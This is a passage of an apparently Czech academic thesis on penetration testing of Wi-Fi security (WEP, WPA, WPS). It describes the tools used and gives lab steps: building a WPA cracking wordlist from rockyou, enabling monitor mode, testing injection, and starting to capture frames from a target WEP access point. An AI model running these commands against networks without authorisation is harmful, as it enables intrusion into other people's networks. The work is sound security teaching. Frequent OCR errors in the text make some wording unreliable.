prvni ¢ast byla spravné a miize pristoupit k poslani druhé ¢asti PIN kodu
s oznacenim M6. Pfi pi{jmu ramce M7, ktery obsahuje informace nastaveni
pristupového bodu, klient aspé&sné uhodl PIN kod. Jestlize klient obdrzi EAP-
NACK (Negative-Acknowledgment) misto M5 nebo M7, dana ¢ast PIN kodu
je Spatné a pokus je nutné opakovat s novym ¢islem.
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4.3.2 Dalsi atoky

Dalsi moznou slabinou je PBC (Push Button Connect), aneb pomoci WPS
tlac¢itka primo na routeru. Pokud by se router nachazel na takovém misté, aby
se k nému mohla dostat nepovolana osoba aspon na par vtefin a stisknout
potiebné tlacitko, tak se miize do sité bez problémii pfipojit.

4.3.3 Zakonceni

PBC se stale pouziva a implementuje do novych zafizeni. Co se tyka PIN
External Registrar metody, ta se doporucuje vypnout na vsech zatizenich. No-
vé pristupové body, které stale podporuji PIN metodu, jsou nyni vybaveny
riaznymi limity poc¢tu neplatnych pokusu a tim zpomaluji mozny utok z dosa-
vadnich nékolika hodin na mésic nebo vice. Za predpokladu Ze tto¢nik musi
byt pii kazdém pokusu v dosahu pristupového bodu, se PIN metoda stala opét
pouzitelnou.
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Cast II
Prakticka cast

5 Pouzity hardware

Pfi penetra¢nim testovani je zapotiebi mit pfislusny hardware (zafizeni). Nej-
dilezitéjsi ¢asti je spravna bezdratova karta pro zachyceni ramect, které budou
tfeba pozdéji pro provedeni ttokit. Dalsi nedilnou soucésti je dosti vykonny
pocita¢ na prolomeni zabezpeceni, aby ttok byl co nejrychlejsi. Dalsimi zafi-
zenimi jsou piistupové body a ostatni bezdratova zafizeni slouzici jako klienti,
na kterych muzeme provadét popsané utoky.

5.1 Bezdratovy USB adaptér

Pro moznost tspésného utoku je zapotiebi bezdratové karty, kterd dokize od-
poslouchavat (monitor) a vkladat (inject) ramce testované sité. Na tuto operace
se musi pouzivat externi (pfidavny) bezdratovy adaptér, protoze ve virtualnim
prostiedi nemizeme vyuzit bezdratové karty dodévané v LapTopech a navic
nékteré karty tyto metody nepodporuji.

Existuji t¥i druhy rezimu, které muze kazdy bezdratovy adaptér podporo-
vat. Norméalni rezim provozu umoznuje kazdé bezdratové zarizeni, ale k ttoktim
je potfeba monitorovaciho rezimu. [29)

e normaélni rezim - (managed mode) karta zachytava pouze ramce ur¢ené
pro ni nebo vSesmérové ramce (broadcast).

e monitorovaci rezim - (monitor mode) karta dokadZe zachytit ramce ze
vSech dostupnych siti bez nutnosti asociace.

e promiskuitni rezim - (promiscuous mode) pracuje stejné jako monitoro-
vaci rezim, ale umoziuje zachytit jen ramce v asociované siti.

Odposlouchévani znamena, ze karta dokéze pfijmout jakykoli ramec ktery
je prenasen vzduchem i kdyZ neni uréen pro ni. Aby karta pracovala timto
zpusobem, je nutné ji pfepnout do monitorovactho rezimu.

Vkladdanim ramci je mysleno, aby karta dokazala poslat ramec do bezdra-
tové sité, ktery jsme sami vytvorily, nebo upravily a druha strana ho spravné
prijala. Tato funkce dokaze usnadnit a zrychlit proces sbirani potfebnych ram-
cu.

Pred pouzitim bezdratového adaptéru je nutné se podivat na strankach
Aircrack-ng [ zda je karta podporovana pro spravnou funkénost a moznosti
prolamovaciho programu.

Bmister x. Determine the chipset [online|. Listopad 2013 [cit. 2015-04-13]. Dostupné z
URL: <http://www.aircrack-ng.org/doku.php?id=compatibility_drivers/>
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Obrazek 23: USB adaptér Tenda W522U

V ramci prace byla pouzita bezdratova karta od firmy Tenda s oznac¢enim
W522U, zobrazena na obr. 23] Adaptér obsahuje ¢ip Ralink RT2870, ktery je
plné podporovan s predinstalovanym ovladac¢em oznac¢enym rt2800usb v Ka-
li Linux. Adaptér umoziuje pripojeni jak k 2.4 GHz pasmum tak k 5 GHz
pomoci standarda IEEE 802.11a,b,g,n. Nevyhodou daného adaptéru je vesta-
véna 2dBi anténa, ktera neposkytuje velké pokryti. V testovaném prostiedi to
nebyl problém, ale protoze bezdratova karta potfebuje v urcitych pripadech
kontaktovat jak pristupovy bod tak jeho pripojené klienty, pro realné pouziti
by byl lepsi adaptér s odnimatelnou anténou, tedy s moznosti pfipojeni silnéjsi
antény s vétsim dosahem. [31]

5.2 Pocitac

Hlavnim prvkem pro penetracni testovani je samoziejmé vykonny pocitac, kte-
ry dokaze provadét tisice ¢i desetitisice vypocetnich operaci za vtefinu. Existuji
2 komponenty, které se daji v poc¢itaci pouzit jako vypocetni sila a to jsou pro-
cesor a graficka karta. Ostatni komponenty v pocitaci nemaji témeét zadny vliv
na dobu vypoc¢tu v nami pouzitém prostiedi.

Jak jiz bylo fec¢eno, hlavnim prvkem bude procesor, v nasem piipadé Intel
Core i7-3632QM. Tento ¢tytjadrovy procesor na 22nm Ivy Bridge architektuie
disponuje zakladnim taktem na 2.2 GHz a s moznosti vyuziti Turbo Boostu
az na 3.2 GHz, ale pri vysoké zatézi vSech jader je Turbo Boost omezen na 2.9
GHz na jadro. Turbo Boost se deaktivuje, pokud teplota procesoru piekroci
maximalni povolenou teplotu a vysledny celkovy vykon by poklesl. [32]

Mezi dalsi pouzité technologie, které mohou mit vliv na celkovy vykon
je proprietarni Intel technologie HyperThreading, ktera umoznuje procesoru
lépe zpracovavat vice vlaknové tlohy pomoci dalsi pfidavné tlohové fronty u
kazdého jadra procesoru.

Alternativné lze v dne$ni dobé pouzit grafickou kartu na slozité vykonoveé
naroc¢né operace. Toto feseni mé nékolik problémii:

147 S.BOHEMIA a.s. TENDA W522U [online]. [cit. 2015-04-13]. Dostupné z: https://
www.tsbohemia.cz/tenda-wb22u_d150383.html
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e pouziti virtualizace - hostované virtulni stroje nemaji pifimy pfistup ke
grafické karté.

e optimalizace - program musi byt upraven, aby umél pracovat s grafickymi
jadry.

5.3 Testovaci sitové zarizeni

Vg8echny ttoky byly provadény na siti slozené z Wi-Fi routeru TP-LINK TL-
WRB841N od spole¢nosti TP-LINK a RouterBOARD (routovaci deska) od Mi-
kroTIKu s pridavnymi bezdratovymi kartami R52n. Jednotliva zafizeni byla
vzdy nastavena tak, aby pokud mozno tvoftila idedlni podminky pro zrovna
testovany typ ttoku.

TP-LINK TL-WRS841N je klasickym Wi-Fi routerem pro domaci nebo malé
firemni pouziti. Zfizeni disponuje dvéma anténami pro stabilnéjsi pfipojeni
a vyuziva IEEE 802.11b,g,n standardii. Mezi podporované zabezpeceni patii
WPA, WPA2 v obou variantach (Personal a Enterprise) a WPS. Zafizeni bylo
pouzito pro WPS ttok.

Obrazek 24: MikroTIK RouterBOARD RB133 bez pridavné karty R52n

Od spolecnosti MikroTIK byly pouzity dvé RouterBOARD (viz obr. ,
které jsou klasickym routerem, ale maji moznost pridat bezdratova rozhrani
(WLAN) do miniPCI slotii. Jako bezdratové desky byly pouzity desticky R52n.
Mezi pouzivané standardy patii IEEE 802.11a,b,g,n v ptislusnych podporova-
nych pasmech 2.4 a 5 GHz. Zabezpeceni jsou v libovolném provedeni, které
specifikuji normy ITEEE 802.11 a WPS neni viibec podporovano. Zatizeni byla
pouzita pro testovani WEP a WPA jako AP a klient.

15 MikroTIK. RouterBOARD 133 Series User’s Manual [online]. Bzezen 2007 [cit. 2015-04-
13]. Dostupné z: http://www.mikc.ru/files/docs/rb133ugBe.html
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6 Pouzity software

V nasledujici kapitole si popiSeme vSechen pouzivany software (programy a
opera¢ni sytém) béhem penetraéniho testovani. Zakladem vseho je operaéni
systém Kali Linux, ve kterém se pracuje s potfebnymi programy jako Aircrack-
ng, Wireshark a Reaver na prolamovani bezdratovych zabezpeceni.

6.1 Operacni systém Kali Linux

Operaé¢ni systém Kali je naslednikem tispésného a zndmého operacniho systému
BackTrack zalozeném na Linux distribuci Knoppix, kterd je ur¢ena pro Live
CD distribuce. Posledni vydané verze byla uvolnéna 13. srpna 2012 s oznac¢enim
BackTrack 5 R3.

Po ukonc¢eni podpory pro BackTrack se vyvojafi pustili do vyvoje nového
opera¢niho systému, ktery by mél nabidnout lepsi moznosti podpory a moder-
néjsi technologie.

O nékolik mésicu pozdéji se objevuje prvni verze nového opera¢niho sys-
tému Kali Linux, presnéji 13. biezna 2013 ve verzi 1.0.0. Hlavnim rozdilem
mezi obéma opera¢nimi systémy je to na jaké Linuxové distribuci operuji. Ka-
li Linux byl postaven na distribuci Debian, zndmé predevsSim v nasazeni na
serverech pro svoji velkou bezpecnost a dostupnost rozsitovacich balickii.

Obrazek 25: Kali Linux logo

Kali Linux se stejné jako jeho predchidce BackTrack specializuje na posky-
tovani nastroji a moznosti pro penetracni testy vSsech moznych typtu. Operacni
systém jiz v zédkladu nabizi nastroje pro testovani od propustnosti pocitacové
sité az po ttoky na databazové systémy a dalsi je mozné si doinstalovat dle
potieby. [18]

9. inora 2015 vysla nova dlouho o¢ekavana verze Kali Linux 1.1.0, ktera bézi
na novém kernel jadie 3.18. Hlavnimi vylepSenimi nové verze jsou vylepSené
ovladace pro bezdratové karty, dalsi podpora pro pouziviani CUDA cores od
Nvidie a aktualizované néastroje pro virtuélni stroje.

16Kali Linux. Kali Linux Trademark Policy [online]. [cit. 2015-04-13]. Dostupné z URL:
<https://www.kali.org/trademark-policy/>
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6.1.1 Live CD distribuce

Kali Linux umoznuje pouziti Live CD distribuce stejné jako jeho pfedchudce.
Slovni spojeni Live CD znamena, ze dany opera¢ni systém je schopny se spustit
pifimo CD bez nutnosti jakékoli instalace. Live CD oznaceni se obecné pouziva
pro v8echny systémy tohoto typu i kdyz mohou byt spoustény z DVD nebo
USB diskaii.

Hlavni nevyhodou Live CD je neschopnost aktualizovat a nainstalovat nové
programy na CD a DVD nosice, kterou odstranila moznost pouziti USB diski.
Ackoli Live CD nepotiebuje v poc¢itaci zadné ulozisté, interni nebo externi, tak
po spusténi je mozné se dostat na vSechny pripojené ulozisté a ménit na nich
cokoli. Timto zplisobem lze pristupovat k soubortim potfebnym k préci.

6.2 Aircrack-ng

Hlavnim programem na prolamovani hesel byl pouzit Aircrack-ng, ktery patii
mezi nejznaméjsi a nejpouzivanéjsi programy v dané kategorii. Pod znacku
Aircrack-ng patii skupina programu které se navzajem dopliuji ve funkénosti.
Dodatek -ng oznacuje programy takzvané nové generace (new generation).

RACK=NG

Obrazek 26: Aircrack-ng logo

Aircrack-ng je zdarma dostupny program na operacni systémy Linux, Win-
dows a OS X. Vsechny programy Aircrack-ng jsou ovladany pouze pomoci pii-
kazové radky. Nejlepsi podpora je pod Linuxem, hlavné Debian distribuci, kde
nejsou zadné problémy s instalaci ani funkénosti. Ve vyvoji je podpora pro
moznost vyuziti CUDA cores od Nvidie, ale to je stéle ve fazi vyvoje.

Soucasna verze Aircrack-ng je 1.2 rcl vydana 31. fijna 2014, ktera je ob-
sazend v aktualnim opera¢nim systému Kali Linux. Mezi pouzité ¢asti balicku
Aircrack-ng patif Airmon-ng, Airodump-ng, Aireplay-ng a Aircrack-ng. [19]

e Airmon-ng - program specializovany na ovladani promiskuitniho rezimu,
monitoring modu pojmenovaném v operacnim systému Kali Linux. Pro-
gram dokaze zapinat a vypinat promiskuitni rezim na podporovanych
zafizenich a nastavit, na jaké frekvenci ma v zakladu fungovat, pokud je
potreba.

1"Wikipedie. Aircrack-ng [online]. Leden 2015 |cit. 2015-04-13]. Dostupné z URL: <http:
//en.wikipedia.org/wiki/Aircrack-ng>
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e Airodump-ng - program pouzivany pro zachycovani nezpracovanych ram-
ci 802.11. Program bez jakychkoli nastaveni se da pouzit pro skenovani
toho jaké pristupové body jsou dostupné a kdo je na které pripojen.
Pomoci dalsiho nastavovani 1ze zachycené rdmce ukladat a nastavit po-
trebné filtrovani podle SSID nebo MAC adresy a dalsich parametrech.

e Aireplay-ng - program na generovani nevyzadanych ramciu, kterymi pak
uto¢i na zadané pristupové body a jejich klienty pomoci MAC adres.
Program podporuje nékolik druhii Gtokt a moznosti nastavit rtznym
castem ramci vlastni hodnoty, ale ne vSechny nastaveni jsou kompatibilni
se vSemi utoky.

e Aircrack-ng - hlavni program balicku, ktery ma za tkol rozlustit kli¢ ze
zachycenych ramct. Program umoziuje najit jak WEP tak WPA /WPA2
klice. P1i nachédzeni WEP klice je mozné upravit algoritmy, ale to neni
potfeba. U WPA /WPA2 je nutno zadat slovnik (wordlist) s kterym se
bude pracovat.

Neékteré programy ze skupiny Aircrack-ng dokazi pracovat soucasné na jed-
né bezdratové karté, aniz by se navzajem ruSily pii praci, tim usnadnuji a
urychluji praci.

6.3 Reaver

Reaver je penetracni software navrzeny pro tutok na WPS zabezpeceni pod-
le odhalené slabiny Stefanem Viehbockem, popsané v sekci (Utoky na
WPS). Program byl napsan Craig Heffnerem, zaméstnancem Tactical Network
Solutions (TNS).

Posledni verze programu v1.4 je z roku 2011 a je predinstalovana v Kali
Linux. Program je dostupny zdarma pro operac¢ni systémy Linux a je ovladan
z prikazové radky.

Program funguje pouze pokud AP podporuje WPS External Registrar a
zabezpeceni je aktivni. Po spravném uhadnuti WPS pinu je odhalen i sdileny
klic pro WPA /WPA2-PSK zabezpeceni. Zdarma dostupné verze je predinsta-
lovana v opera¢nim systému Kali Linux.

6.4 Wireshark

Wireshark je program na analyzovani sitového provozu, vyvinut Gerald Comb-
sem v kvétnu roku 2006. Program dokéze zachytit rAmce v promiskuitnim mo-
du jak na bezdratovych tak ethernetovych kartach. Zachycené ramce je mozné
déle analyzovat pomoci mnoha dostupnych funkei.

Wireshark je zdarma dostupny program na operac¢ni systémy Linux, Win-
dows a OS X. Wireshark pouziva grafické rozhrani pro snadnéjsi pouziti, ale
v predinstalované verzi dostupné v opera¢nim systému Kali Linux je moznost
vyuzit i programu TShark, coz je Wireshark pro prikazovou fadku s omezenym
pristupem k funkcim.
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Obrazek 27: Wireshark logo

6.5 Virtualizéry

Virtualizaci se oznacuje postup a technika, jak pristupovat k pocitaci jinymi
zpusoby, nez jen fyzicky. Virtualizovat je mozné témér cokoli, ale v rdmci préace
se zamé&fime pouze na virtualizaci opera¢niho systému. [20]

Virtualizovat opera¢ni systém lze dvéma zpisoby (nativni a hostovany), ale
obecny princip je u obou moznosti stejny. Specializovany software nejcastéji
referovany jako Hypervisor (ang. téZ jako Virtual Machine Manager) se stara
o spravnou funkénost spusténych virtudlnich stroju. Stroj, ktery méa spustény
Hypervisor, je oznacovan jako host (hostitelsky systém) a virtualni stroj pod
nazvem guest (hostovany systém).

HYPER
VISOR

HARD
WARE

TYPE 1

native

TYPE 2

{bare metal) hosred

Obréazek 28: Diagram obou metod virtualizace [20]

Nativni

Nativni metoda vyuziva virtualiza¢ni platformy, kterd se nainstaluje misto
standardniho opera¢niho systému a poté se do ni instaluji jednotlivé virtu-
alni stroje, které jsou na sobé kompletné nezavislé. Virtualiza¢ni platforma
byva poté spravovana na déalku pomoci klientského softwaru, ktery je nutny
nainstalovat do bézného opera¢niho systému, kde je po prihlaseni mozné pro-
vadét potfebné tpravy jako instalace novych, nebo kontrola a vypis statistik
jiz nainstalovanych virtualnich stroju v ramci virtualiza¢ni platformy.

18Wireshark Q&A [online]. [cit. 2015-04-13]. Dostupné z URL: <https://ask.
wireshark.org/questions/>
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Tyto programy byvaji zpoplatnény a vyuzivaji se v komerénim prostiedi.
Jako priklad tohoto feSeni je to Hyper-V od Microsoftu nebo VMware vSphere,
difve oznacovan jako VMware ESX Server, a zdarma Sifeny ovladaci klient
VMware vSphere Client.

Hostované

Hostovna moznost vyuziva plné funkéniho hostitelského opera¢niho systému
a za pomoci programu spustit virtudlni stroj, ktery pracuje v rdmci hostitele.
Tato metoda je pouzivana vétsinou u béznych uzivateli, kdy se do normalné
pouzivaného opera¢niho systému, v nasem piipadé Windows 7 Ultimate Ser-
vice Pack 1, nainstaluje program, ktery dokéze spustit virtualni stroj v novém
okné jako jakykoli jiny program. Po spusténi se virtualni stroj chova jako nor-
malni pocitac, ktery se zepta na instalaci operac¢niho systému a poté ho lze
pouzivat jako jakykoli jiny opera¢ni systém.

Dva nejpouzivanéjsi programy jsou Oracle VM VirtualBox a VMware Pla-
yer. Oba virtualiza¢ni programy umoziuji spustit virtudlni stoje, ale nabizeji
lehce rozdilnou podporu pro rtizné technologie.

6.5.1 Oracle VM VirtualBox

VirtualBox byl poprvé vydan na zac¢atku roku 2008 a od té doby zménil nékolik
majiteli az skoncil v roce 2010 u soucasného majitele Oracle Corporation.
VirtualBox je dostupny zdarma pro osobni pouziti jakéhokoli typu. Hostovat
VirtuaBox je mozné na opera¢nich systémech Linux, Mac OS X, Windows a
dalsich. [27]

Protoze VirtualBox v zakladu nepodporuje USB zarizeni, tak je nutné do-
instalovat vyrobcem dodévany modul. Pro podporu dalsich doplikua (sdileni
souboru mezi hostitelem a hostovanym systémem, atd...) je potfeba nainsta-
lovat VirtualBox Guest Additions ve virtualizovém systému.

Obrazek 29: Oracle VirtulBox Logo [27]

6.5.2 VMware Player

WDMware Player je zdarma dostupny virtualiza¢ni software druhého typu pro
nekomeré¢ni pouziti od nejstarsi komeréni spolec¢nosti na trhu VMware, zaloze-
né v roce 1998. WMware Player je mozné hostovat na opera¢nich systémech
Linux, Mac OS X a Windows. [2§]

47



Pro spravnou funkcionalitu USB a dalsich dopliikii (sdileni souboru mezi
hostitelem a hostovanym systémem, atd...) je potfeba nainstalovat WMware
Tools do virtualizovaného systému.

Obrazek 30: WMware Player logo [28]
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7 Penetracni testovani zabezpeceni

Tato kapitola je zamérena na praktické penetraéni testovani jednotlivych bez-
dratovych zabezpeceni (WEP, WPA a WPS). Na zac¢atku si pripravime vSechny
potiebné véci a ukdzeme si par obecnych postupii nutnych ke vSem ttoktim.
Dalsimi body kapitoly budou praktické ukazky utoku (viz. kapitola 4) na jed-
notliva zabezpeceni za pomoci piipravenych programii. Na konci bude kratké
porovnani, jak si jednotlivé virtualizacni metody poradily s penetra¢nim tes-
tovanim.

7.1 Priprava na testovani

Pred samotnym provadénim ttoku je potfeba si pfipravit vSechny potiebné
véci. Protoze nami pouzivané programy jsou jiz soucasti Kali Linux, tak zby-
va jenom ovéfit spravnou funkénost bezdratové karty (adaptéru) a pripravit
slovniky k prolomeni WPA pristupového hesla.

Vs8echny pouzité programy v nésledujicich kapitolach jsou pouzivany z pii-
kazového tadku (terminalu) a existuje pro né jednotny piikaz, ktery vypise
spravnou syntaxi a pouzitelné parametry:

<program> --help

Pro pfedbézné ukonceni probihajicich programii se pouziva jednotna kla-
vesova, zkratka Ctrl+C.

7.1.1 Slovniky

Pro utok na WPA zabezpeceni je potieba si pripravit slovnik, ktery bude
pouzit pro hadani pristupového hesla. Jednou moznosti je vytvoreni vlastniho
slovniku, jako jsem ucinil ja. Mnou pouzity slovnik je tvoren 8,910,680 hesly,
které jsou zalozeny na anglickych slovech.
Druhou moznosti je pouziti jiz vytvoreného slovniku. Nasledujici postup
popisuje, jak pripravit k pouziti jiz zahrnuty slovnik v instalaci Kali Linux.
Predptipravené slovniky jsou ve sloZce /usr/share/wordlists, ze které si vy-
pujc¢ime slovnik pojmenovany rockyou. Nejdiiv si dany slovnik prekopirujeme
piikazem:
cp /usr/share/wordlists/rockyou.txt.gz ./

do domovského adresare a nésledné rozbalime piikazem:

gunzip rockyou.txt.gz

Protoze slovnik obsahuje i hesla, ktera neodpovidaji pozadavkim WPA, tak
ho upravime. Nasledujici piikaz setfidi hesla abecedné (sort), vymaze duplikaty
(uniq) a hesla, ktera neodpovidaji potfebné délce 8-63 znaku (pw-inspector):

cat rockyou.txt | sort | uniq | pw-inspector -m 8 -M 63 > wpawordlist.txt

Nové vytvoreny slovnik wpawordlist.txt by mél obsahovat 9,689,699 hesel,
pro vypsani poc¢tu hesel slouzi piikaz:

wc -w wpawordlist.txt
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7.1.2 Zprovoznéni USB adaptéru

Prvnim krokem je zprovoznit bezdratovy USB adaptér. Pri pouziti Live CD
distribuce se adaptér automaticky pripoji a prifadi si potfebné ovladace. Stav
pripojeni adaptéru lze zjistit pomoci prikazu:

iwconfig

Pokud je adaptér aktivni, tak ve virtudlnim systému bude oznacen jako
wlan0 a v Live distribuci jako wlanl, protoze wlan0 bude integrovana karta
LapTopu. Vypis pro nami pouzity adapteér:

wlanO IEEE 802.1labgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off  Fragment thr:off
Encryption key:off
Power Management:off

kde je vidét Ze karta zatim pracuje v normalnim rezimu (Mode:Managed).
U virtualizéri Oracle VirtualBox a WMware Player je potfeba doinstalovat
doplnujici moduly a balicky.

Oracle VirtualBox

P1i pouziti virtualiza¢niho nastroje Oracle VirtualBox by se adaptér mél pfi-
poj automaticky, pokud byl doinstalovan rozsifovaci USB modul v hostitelském
systému. Pro instalovani volitelného balicku k zapnuti dalsich nabizenych funk-
ci VitrualBoxem je potfeba zadat nasledujici prikaz:

apt-get install linux-headers-$(uname -r)

Po tspésné instalaci balickt je potfeba virtuédlni stroj restartovat pro za-
pnuti doplinkovych funkei VirutalBoxu.

WMware Player

Pted pfipojenim bezdratového USB adaptéru je nutné do virtualizovaného
systému v VMware Playeru doinstalovat balicky pro potfebnou podporu. Ba-
licky pridavaji spravnou USB funkcionalitu a dalsi funkce WMware Playeru.
Pro instalaci je pouzit piikaz:

apt-get install open-vm-toolbox

Po tspésné instalaci balicki je potieba virtuédlni stroj restartovat.
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7.1.3 Otestovani USB adaptéru
Po tspésném pripojeni bezdratového USB adaptéru je potieba otestovat, zda
dokaze byt pfepnut do monitorovacitho médu a vkladat ramce do sité.

Monitor mode

Pro zapnuti a vypnuti monitorovaciho rezimu je pouzit program airmon-ng.
Nésledujicim piikazem je zapnut monitorovaci rezim na rozhrani wlan0 a vy-
silacim kanalu 1:

airmon-ng start wlanO 1
pri dspésném zapnuti monitorovaciho modu se objevi vypis:
Interface Chipset Driver

wlanO Ralink RT2870/3070 rt2800usb - [phyO]
(monitor mode enabled on monO)

Definovani kanalu (¢islem na konci piikazu), na kterém se monitorovaci
rezim zapne je volitelny parametr, ale pti dalsich krocich bude vyuzivan. Pro
kontrolu je mozné prikazem:

iwconfig

ovérit, ze rozhrani mon0 je opravdu aktivni s naslednym vypisem:

mon0 IEEE 802.11abgn Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off  Fragment thr:off
Power Management:off

Nové vytvotrené rozhrani mon0, slouzici jako logicka nadstavba pro wlan0,
musi obsahovat Mode:Monitor. VSechny nasledujici ptikazy budou pracovat s
novym rozhranim mon0. Pro vypnuti monitorovaciho médu slouzi ptikaz:

airmon-ng stop monO

P1i zapinani monitorovaciho rezimu airmon-ng varuje pred tiemi jiz bézici
procesy, které mohou mit negativni i¢inky na funkénost dalsich programii vy-
uzivajicich rozhrani mon0. Pokud dané procesy chce nékdo predbézné ukoncit
nebo by vznikly problémy (hlavné pii vkladani rameii), tak prikaz:

airmon-ng check
vypiSe o jaké procesy se jedna a pod jakymi ¢isly pracuji:
3224 NetworkManager
3320 dhclient
4110 wpa_supplicant
Pro ukonceni samotnych procest je pouzit prikaz:

kill <&islo procesu>
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Injection

Vkladani ramct neni nutnou soucésti pro tspésné provedeni vétsiny Gtokt na
ziskani pristupu do sité, ale je potiebné pro ttok typu ChopChop na WEP a
rozesilani falesnych ARP dotazti (Address Resolution Protocol).

Pred samotnym testem je potieba vybrat AP (nebo vice), na kterém se
bude testovat. K tomu je pouzit program airodump-ng, ktery vypisuje vSechny
dostupné sité v dosahu, pripojené klienty k jednotlivym sitim a klienty, ktefi
hledaji sité pomoci probe request. Piikazem:

airodump-ng monO

se zacnou zachytévat rdmce na rozhrani mon0, protoze nejsou zadané zadné
parametry, tak airodump-ng zacne prepinat kanaly na adaptéru, aby zachytil
vSechny dostupné sité a klienty. Vypis bude vypadat nasledovneé:

CH 7 ][ Elapsed: 4 mins ][ 2015-04-04 16:46

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:6E:1F:AA:EC:F8 -57 21 1291 0O 6 b54e. WPA2 CCMP PSK jupiter
00:0C:42:1B:A2:BC -48 2 0 0 1 54 . WEP WEP test102.1
00:0C:42:63:9E:B9 -76 4 0 0 9 54 . WPA TKIP PSK Hospoda
10:FE:ED:D2:D3:1A -78 3 0 0 11 b54e. WPA2 CCMP PSK merkur
BSSID STATION PWR Rate Lost Frames Probe
C4:6E:1F:AA:EC:F8 E8B:4E:84:CE:A9:B7 -44 Oe- Oe 0 126
00:0C:42:1B:A2:BC 00:0C:42:31:2B:2E -50 0 -54 0 3

Zachytavani je nutno ukoncit ru¢né pomoci Ctrl+C. Popis jednotlivych
sloupcii je v tab. [3

7 vypisu vybereme jedno AP, na kterém vyzkousime vkladani ramci. Po-
divime se na vysilaci kanél daného AP a prepneme kartu na dany kanal. V
nasem piipadé jsem si vybral sit s nazvem Merkur na kanale ¢islo 11. Pro
prepnuti karty pouzije diive popsané piikazy:
airmon-ng stop monO
airmon-ng start wlanO 11

Nyni muzeme pristoupit k samotnému testu vkladani rdmeci pomoci aireplay-
ng. Program podporuje nékolik ttoki, ale zatim pouzijeme pouze test prika-
zem:

aireplay-ng --test monO

s timto vysledkem.

Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...

10:FE:ED:D2:D3:1A - channel: 11 - ’merkur’

Ping (min/avg/max): 1.957ms/12.264ms/31.836ms Power: -78.20
30/30: 100%
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’ Sloupec \Komentéf

BSSID MAC adresa pristupového bodu
PWR Sila signélu, -1 udava chybu
Beacons | Pocet prijatych Beacon ramcu
“Data Celkovy pocet zachycenych rdmct, véetné broadcast
ramci (pro WEP se jedna o pocet unikatnich IV)
#/s Pocet zachycenych ramect za poslednich 10 vtefin
CH Cislo kanélu
MB Nejvetsi podporované rychlost
Pouzité zabezpeceni, OPN = zadné,
ENC WEP = WEP, WEP? = WEP nebo lepsi,
WPA = WPA, WPA2 = WPA2
CIPHER | Pouzité sifrovani WEP, TKIP, CCMP
Autentizac¢ni protokol, OPN = Zzadny,
AUTH | SKA = kli¢ pro WEP, PSK = kli¢ pro WPA/WPA2,
MGT = autentiza¢ni server pro WPA /WPA2
ESSID Nézev sité
STATION | MAD adresa pfipojeného nebo hledajictho zafizeni
Lost Pocet ztracenych ramct za poslednich 10 vtefin
Frames | Pocet odeslanych ramci
Probe Pokud stanice neni pfipojena a hleda pristupovy bod
pomoci probe request, vypise ESSID hledané sité

Tabulka 3: Popis sloupct programu airodump-ng

Program v test modu posle broadcast probe requests v nastaveném kanéle
adaptéru. Na vSechny piijaté odpovédi (jednotlivé ESSID), poté odesle 30 smé-
rovanych probe request z nahodné generovanych MAC adres a pocita na kolik
z nich jednotlivé AP odpovi. Idedlné by méli byt zachyceny vSechny odpovédi
(30/30 100%), pokud par odpovédi chybi, tak miize byt Spatny signal k AP. V
piipadé zadné odpovédi vkladani ramcei na daném adaptéru nemusi fungovat,
kdy diivodem mohou byt tfeba Spatné ovladace.

Pokud nedostaneme odpovéd na broadcast probe requests a pritom vime,
7e na nastaveném kanale se nachazi AP, tak dané AP muze mit zakazané
odpovidani na takové dotazy.

Pokud mame dvé bezdratové karty, tak mtuzeme provézt dikladnéjsi test,
ktery navic vyzkousi vSechny podporované tatoky programu aireplay-ng. V tom-
to testu druha karta (wlanl) predstavuje AP a zachytava nami vysilané ramce,
na které odpovida. V pripadé prijmuti odpovédi, je dany ttok podporovan. Pro
spusténi je piikaz doplnén o parametr -i, ktery urc¢uje kartu pro AP. Piikaz i s
vypisem vypada takto:

aireplay-ng --test mon0 -i wlanl
Trying card-to-card injection...

Attack -0: 0K
Attack -1 (open): 0K
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Attack -1 (psk): 0K
Attack -2/-3/-4/-6: 0K
Attack -5/-7: Failed

7.2 Wired Equivalent Privacy

V této kapitole si ukdzeme, jak postupovat pii utocich na WEP zabezpeceni.
Popsané tutoky jsou ChopChop a FMS/PTW. Mezi dalsi body patii popséani
pomocnych utoki, které dokazi urychlit ramce.

Reseni predpokladaji, ze nasledujici véci plati:

e Bezdratova karta podporuje vkladani ramct.

e K AP je pfipojen aspon jeden klient.

e Jsme dostatecné blizko k AP 1 klientovi.

7.2.1 FMS/PTW itok

FMS/PTW jsou klasickymi utoky na WEP zabezpeceni, které hledaji sdileny
kli¢ ze zachycenych ramcua obsahujici IV (viz. sekce .

Prvnim krokem je vyhlédnuti pristupového bodu na ktery budeme tatocit.
Po zapnuti adaptéru do monitorovactho moédu a spusténi airodump-ng bez
parametri (viz. sekce si z vypisu zvolime vhodny cil.

CH 5 ][ Elapsed: 2 mins ][ 2015-04-04 17:46

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0C:42:1B:A2:BC -60 100 70 17 2 1 54 . WEP WEP test102.1
BSSID STATION PWR Rate Lost Frames Probe
00:0C:42:1B:A2:BC 00:0C:42:31:2B:2E -56 54 -54 1 19

Na c¢ésti vypisu z airodump-ng zobrazeném vyse, je vidét jedno aktivni
AP pracujici na WEB zabezpeceni s ESSID test102.1 a pfipojenym jednim
klientem. To, Ze klient pat¥i k vypsanému AP, pozname stejnym BSSID v obou
radkach a obé strany navic komunikuji, protoze u klienta ve sloupci Frames je
¢islo 19.

Druhym krokem je zacit zachytévat veskerou komunikaci mezi zvolenym AP
a vSemi jeho klienty. Pro to se opét pouzije program airodump-ng, ale nyni s
pridanymi parametry. Abychom zachytavali jenom komunikaci zvoleného AP
a vysledek ulozili, zadame piikaz:

airodump-ng -c 1 --bssid 00:0C:42:1B:A2:BC -w wep monO

’ Parametr \ Komentar

-C Omezi zachytavani jen na zadané kanély
--bssid | Zachytéva jen AP s danou MAC adresou
-w Zachycené ramce ulozi do souboru
--ivs Ulozi pouze ramce obsahujici IV (bez parametru uklada vSechno)

Tabulka 4: Pouzité parametry piikazu airodump-ng
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Jelikoz nasbirat dostatecny pocet ramcti miize byt ¢asové narocné, tak exis-
